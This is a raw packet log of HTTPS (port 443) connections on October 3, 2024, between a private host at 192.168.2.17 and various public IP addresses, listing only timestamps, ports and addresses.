Oct 3, 2024 17:19:55.869179010 CEST	56100	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:55.869193077 CEST	443	56100	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:55.871192932 CEST	443	56103	63.140.62.17	192.168.2.17
Oct 3, 2024 17:19:55.871285915 CEST	443	56103	63.140.62.17	192.168.2.17
Oct 3, 2024 17:19:55.871356010 CEST	56103	443	192.168.2.17	63.140.62.17
Oct 3, 2024 17:19:55.871939898 CEST	56103	443	192.168.2.17	63.140.62.17
Oct 3, 2024 17:19:55.871982098 CEST	443	56103	63.140.62.17	192.168.2.17
Oct 3, 2024 17:19:55.873184919 CEST	56115	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:55.873248100 CEST	443	56115	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:55.873336077 CEST	56115	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:55.873667955 CEST	56115	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:55.873697042 CEST	443	56115	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:55.877485991 CEST	443	56112	98.82.154.76	192.168.2.17
Oct 3, 2024 17:19:55.877717018 CEST	56112	443	192.168.2.17	98.82.154.76
Oct 3, 2024 17:19:55.877758980 CEST	443	56112	98.82.154.76	192.168.2.17
Oct 3, 2024 17:19:55.878355026 CEST	443	56101	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:55.878407955 CEST	443	56101	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:55.878417015 CEST	56101	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:55.878428936 CEST	443	56101	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:55.878477097 CEST	56101	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:55.878561974 CEST	443	56101	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:55.879221916 CEST	443	56112	98.82.154.76	192.168.2.17
Oct 3, 2024 17:19:55.879297972 CEST	56112	443	192.168.2.17	98.82.154.76
Oct 3, 2024 17:19:55.882518053 CEST	56110	443	192.168.2.17	63.140.62.17
Oct 3, 2024 17:19:55.889203072 CEST	56112	443	192.168.2.17	98.82.154.76
Oct 3, 2024 17:19:55.889305115 CEST	443	56112	98.82.154.76	192.168.2.17
Oct 3, 2024 17:19:55.889348984 CEST	56112	443	192.168.2.17	98.82.154.76
Oct 3, 2024 17:19:55.914057016 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.914098978 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.914165974 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:55.914176941 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.914220095 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:55.925749063 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.926275969 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.926312923 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.926337957 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:55.926347017 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.926395893 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:55.926673889 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.927118063 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.927139997 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.927166939 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.927170038 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:55.927181005 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.927210093 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:55.928168058 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.928230047 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:55.928239107 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.929280043 CEST	443	56101	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:55.929331064 CEST	443	56101	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:55.929348946 CEST	56101	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:55.929363966 CEST	443	56101	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:55.929399014 CEST	56101	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:55.929642916 CEST	443	56101	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:55.929729939 CEST	443	56101	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:55.929770947 CEST	56101	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:55.929775000 CEST	443	56101	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:55.929837942 CEST	443	56101	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:55.929883003 CEST	56101	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:55.930280924 CEST	56101	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:55.930298090 CEST	443	56101	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:55.930495977 CEST	56112	443	192.168.2.17	98.82.154.76
Oct 3, 2024 17:19:55.930505991 CEST	443	56112	98.82.154.76	192.168.2.17
Oct 3, 2024 17:19:55.932502031 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.932568073 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:55.932576895 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.935836077 CEST	56116	443	192.168.2.17	3.138.129.130
Oct 3, 2024 17:19:55.935889959 CEST	443	56116	3.138.129.130	192.168.2.17
Oct 3, 2024 17:19:55.935972929 CEST	56116	443	192.168.2.17	3.138.129.130
Oct 3, 2024 17:19:55.936446905 CEST	56116	443	192.168.2.17	3.138.129.130
Oct 3, 2024 17:19:55.936460018 CEST	443	56116	3.138.129.130	192.168.2.17
Oct 3, 2024 17:19:55.952982903 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.953016043 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.953114986 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:55.953130960 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.953181982 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:55.953401089 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.953803062 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.953855038 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:55.953867912 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.954269886 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.954294920 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.954320908 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:55.954334974 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.954384089 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:55.954859972 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.954948902 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.954994917 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:55.955008030 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.955738068 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.955761909 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.955784082 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.955792904 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:55.955806971 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.955833912 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:55.956633091 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.956685066 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:55.956697941 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.957370043 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.957401991 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.957417965 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:55.957431078 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:55.957482100 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:55.957983971 CEST	443	56108	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:55.958137035 CEST	443	56108	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:55.958178997 CEST	56108	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:55.958378077 CEST	443	56105	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:55.958447933 CEST	443	56105	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:55.958492994 CEST	56105	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:55.960629940 CEST	443	56106	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:55.960711002 CEST	443	56106	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:55.960768938 CEST	56106	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:55.963737011 CEST	56105	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:55.963748932 CEST	443	56105	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:55.973917961 CEST	56106	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:55.973929882 CEST	443	56106	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:55.976537943 CEST	56108	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:55.976558924 CEST	443	56108	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:55.978502989 CEST	56112	443	192.168.2.17	98.82.154.76
Oct 3, 2024 17:19:55.992917061 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:55.993004084 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:55.993071079 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:55.993808031 CEST	56118	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:55.993832111 CEST	443	56118	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:55.993899107 CEST	56118	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:55.994128942 CEST	56117	443	192.168.2.17	157.240.253.1
Oct 3, 2024 17:19:55.994162083 CEST	443	56117	157.240.253.1	192.168.2.17
Oct 3, 2024 17:19:55.994647026 CEST	56118	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:55.994662046 CEST	443	56118	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:55.997534990 CEST	56119	443	192.168.2.17	142.250.185.226
Oct 3, 2024 17:19:55.997560978 CEST	443	56119	142.250.185.226	192.168.2.17
Oct 3, 2024 17:19:55.997628927 CEST	56119	443	192.168.2.17	142.250.185.226
Oct 3, 2024 17:19:55.997839928 CEST	56119	443	192.168.2.17	142.250.185.226
Oct 3, 2024 17:19:55.997864962 CEST	443	56119	142.250.185.226	192.168.2.17
Oct 3, 2024 17:19:56.000483036 CEST	443	56112	98.82.154.76	192.168.2.17
Oct 3, 2024 17:19:56.000624895 CEST	443	56112	98.82.154.76	192.168.2.17
Oct 3, 2024 17:19:56.000633955 CEST	443	56107	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:56.000689030 CEST	56112	443	192.168.2.17	98.82.154.76
Oct 3, 2024 17:19:56.000741005 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.000828981 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.000874043 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.000895023 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.001132011 CEST	56112	443	192.168.2.17	98.82.154.76
Oct 3, 2024 17:19:56.001142025 CEST	443	56112	98.82.154.76	192.168.2.17
Oct 3, 2024 17:19:56.001202106 CEST	443	56107	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:56.001247883 CEST	56107	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:56.002032995 CEST	56107	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:56.002048969 CEST	443	56107	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:56.006952047 CEST	56120	443	192.168.2.17	142.250.185.226
Oct 3, 2024 17:19:56.006973982 CEST	443	56120	142.250.185.226	192.168.2.17
Oct 3, 2024 17:19:56.007030964 CEST	56120	443	192.168.2.17	142.250.185.226
Oct 3, 2024 17:19:56.007450104 CEST	56120	443	192.168.2.17	142.250.185.226
Oct 3, 2024 17:19:56.007463932 CEST	443	56120	142.250.185.226	192.168.2.17
Oct 3, 2024 17:19:56.012816906 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.012901068 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.012902021 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.012928009 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.012974024 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.013081074 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.013339996 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.013390064 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.013397932 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.013731003 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.013756037 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.013796091 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.013808012 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.013816118 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.013834000 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.014516115 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.014539957 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.014571905 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.014579058 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.014625072 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.014996052 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.015053988 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.015078068 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.015094042 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.015100956 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.015141964 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.016050100 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.016093969 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.016207933 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.016216040 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.019750118 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.019814968 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.019823074 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.028862953 CEST	56122	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:56.028872967 CEST	443	56122	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:56.028933048 CEST	56122	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:56.029140949 CEST	56122	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:56.029155016 CEST	443	56122	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:56.039879084 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.039957047 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.039961100 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.039975882 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.040025949 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.040241957 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.040479898 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.040502071 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.040528059 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.040540934 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.040590048 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.041023970 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.041449070 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.041471958 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.041501999 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.041507006 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.041518927 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.041548967 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.042340040 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.042371988 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.042402029 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.042414904 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.042471886 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.042720079 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.043309927 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.043330908 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.043354034 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.043373108 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.043380976 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.043399096 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.043411970 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.043482065 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.043960094 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.043998003 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.044020891 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.044040918 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.044045925 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.044056892 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.044086933 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.044786930 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.044845104 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.044960976 CEST	56104	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.044985056 CEST	443	56104	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.047797918 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.047815084 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.047872066 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.048074961 CEST	56123	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:56.048085928 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.078866959 CEST	55920	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:56.119398117 CEST	443	55920	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:56.133085012 CEST	443	56113	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:56.133387089 CEST	56113	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:56.133394957 CEST	443	56113	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:56.134251118 CEST	443	56113	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:56.134326935 CEST	56113	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:56.134390116 CEST	443	56110	63.140.62.17	192.168.2.17
Oct 3, 2024 17:19:56.134557009 CEST	443	56110	63.140.62.17	192.168.2.17
Oct 3, 2024 17:19:56.134615898 CEST	56110	443	192.168.2.17	63.140.62.17
Oct 3, 2024 17:19:56.135005951 CEST	56110	443	192.168.2.17	63.140.62.17
Oct 3, 2024 17:19:56.135006905 CEST	56113	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:56.135021925 CEST	443	56110	63.140.62.17	192.168.2.17
Oct 3, 2024 17:19:56.135060072 CEST	443	56113	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:56.135515928 CEST	56113	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:56.135523081 CEST	443	56113	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:56.184540033 CEST	56113	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:56.236316919 CEST	443	56114	18.224.125.5	192.168.2.17
Oct 3, 2024 17:19:56.236614943 CEST	56114	443	192.168.2.17	18.224.125.5
Oct 3, 2024 17:19:56.236629963 CEST	443	56114	18.224.125.5	192.168.2.17
Oct 3, 2024 17:19:56.240158081 CEST	443	56114	18.224.125.5	192.168.2.17
Oct 3, 2024 17:19:56.240221977 CEST	56114	443	192.168.2.17	18.224.125.5
Oct 3, 2024 17:19:56.240714073 CEST	56114	443	192.168.2.17	18.224.125.5
Oct 3, 2024 17:19:56.240880966 CEST	443	56114	18.224.125.5	192.168.2.17
Oct 3, 2024 17:19:56.240973949 CEST	56114	443	192.168.2.17	18.224.125.5
Oct 3, 2024 17:19:56.240978956 CEST	443	56114	18.224.125.5	192.168.2.17
Oct 3, 2024 17:19:56.270231962 CEST	443	55920	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:56.270482063 CEST	443	55920	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:56.270545006 CEST	55920	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:56.271150112 CEST	55920	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:56.271163940 CEST	443	55920	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:56.273988008 CEST	56125	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:56.274022102 CEST	443	56125	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:56.274100065 CEST	56125	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:56.274277925 CEST	56125	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:56.274287939 CEST	443	56125	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:56.297761917 CEST	56114	443	192.168.2.17	18.224.125.5
Oct 3, 2024 17:19:56.337575912 CEST	443	56115	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:56.337959051 CEST	56115	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:56.337977886 CEST	443	56115	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:56.338330984 CEST	443	56115	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:56.338658094 CEST	56115	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:56.338721037 CEST	443	56115	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:56.338880062 CEST	56115	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:56.338951111 CEST	56115	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:56.338973999 CEST	443	56115	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:56.339077950 CEST	56115	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:56.339102983 CEST	443	56115	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:56.339169979 CEST	56115	443	192.168.2.17	35.186.194.58
Oct 3, 2024 17:19:56.339224100 CEST	443	56115	35.186.194.58	192.168.2.17
Oct 3, 2024 17:19:56.349896908 CEST	443	56113	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:56.350116968 CEST	443	56113	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:56.350200891 CEST	56113	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:56.351110935 CEST	56113	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:56.351126909 CEST	443	56113	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:56.353984118 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:56.354038954 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:56.354171038 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:56.354590893 CEST	56126	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:56.354625940 CEST	443	56126	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:56.355027914 CEST	56127	443	192.168.2.17	142.250.185.226
Oct 3, 2024 17:19:56.355060101 CEST	443	56127	142.250.185.226	192.168.2.17
Oct 3, 2024 17:19:56.355130911 CEST	56127	443	192.168.2.17	142.250.185.226
Oct 3, 2024 17:19:56.355317116 CEST	56127	443	192.168.2.17	142.250.185.226
Oct 3, 2024 17:19:56.355335951 CEST	443	56127	142.250.185.226	192.168.2.17
Oct 3, 2024 17:19:56.385416031 CEST	443	56114	18.224.125.5	192.168.2.17
Oct 3, 2024 17:19:56.385478020 CEST	443	56114	18.224.125.5	192.168.2.17
Oct 3, 2024 17:19:56.385498047 CEST	443	56114	18.224.125.5	192.168.2.17
Oct 3, 2024 17:19:56.385550976 CEST	56114	443	192.168.2.17	18.224.125.5
Oct 3, 2024 17:19:56.385576010 CEST	443	56114	18.224.125.5	192.168.2.17
Oct 3, 2024 17:19:56.385582924 CEST	443	56114	18.224.125.5	192.168.2.17
Oct 3, 2024 17:19:56.385596991 CEST	443	56114	18.224.125.5	192.168.2.17
Oct 3, 2024 17:19:56.385621071 CEST	443	56114	18.224.125.5	192.168.2.17
Oct 3, 2024 17:19:56.385632992 CEST	56114	443	192.168.2.17	18.224.125.5
Oct 3, 2024 17:19:56.385660887 CEST	56114	443	192.168.2.17	18.224.125.5
Oct 3, 2024 17:19:56.438503981 CEST	443	56116	3.138.129.130	192.168.2.17
Oct 3, 2024 17:19:56.439805984 CEST	56116	443	192.168.2.17	3.138.129.130
Oct 3, 2024 17:19:56.439822912 CEST	443	56116	3.138.129.130	192.168.2.17
Oct 3, 2024 17:19:56.440347910 CEST	443	56116	3.138.129.130	192.168.2.17
Oct 3, 2024 17:19:56.441206932 CEST	56116	443	192.168.2.17	3.138.129.130
Oct 3, 2024 17:19:56.441288948 CEST	443	56116	3.138.129.130	192.168.2.17
Oct 3, 2024 17:19:56.441782951 CEST	56116	443	192.168.2.17	3.138.129.130
Oct 3, 2024 17:19:56.441811085 CEST	443	56116	3.138.129.130	192.168.2.17
Oct 3, 2024 17:19:56.452495098 CEST	443	56114	18.224.125.5	192.168.2.17
Oct 3, 2024 17:19:56.452573061 CEST	56114	443	192.168.2.17	18.224.125.5
Oct 3, 2024 17:19:56.452673912 CEST	443	56114	18.224.125.5	192.168.2.17
Oct 3, 2024 17:19:56.452718973 CEST	56114	443	192.168.2.17	18.224.125.5
Oct 3, 2024 17:19:56.452724934 CEST	443	56114	18.224.125.5	192.168.2.17
Oct 3, 2024 17:19:56.452850103 CEST	443	56114	18.224.125.5	192.168.2.17
Oct 3, 2024 17:19:56.452898026 CEST	56114	443	192.168.2.17	18.224.125.5
Oct 3, 2024 17:19:56.453138113 CEST	56114	443	192.168.2.17	18.224.125.5
Oct 3, 2024 17:19:56.453154087 CEST	443	56114	18.224.125.5	192.168.2.17
Oct 3, 2024 17:19:56.501722097 CEST	443	56123	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:56.502176046 CEST	56123	443	192.168.2.17	34.117.39.58
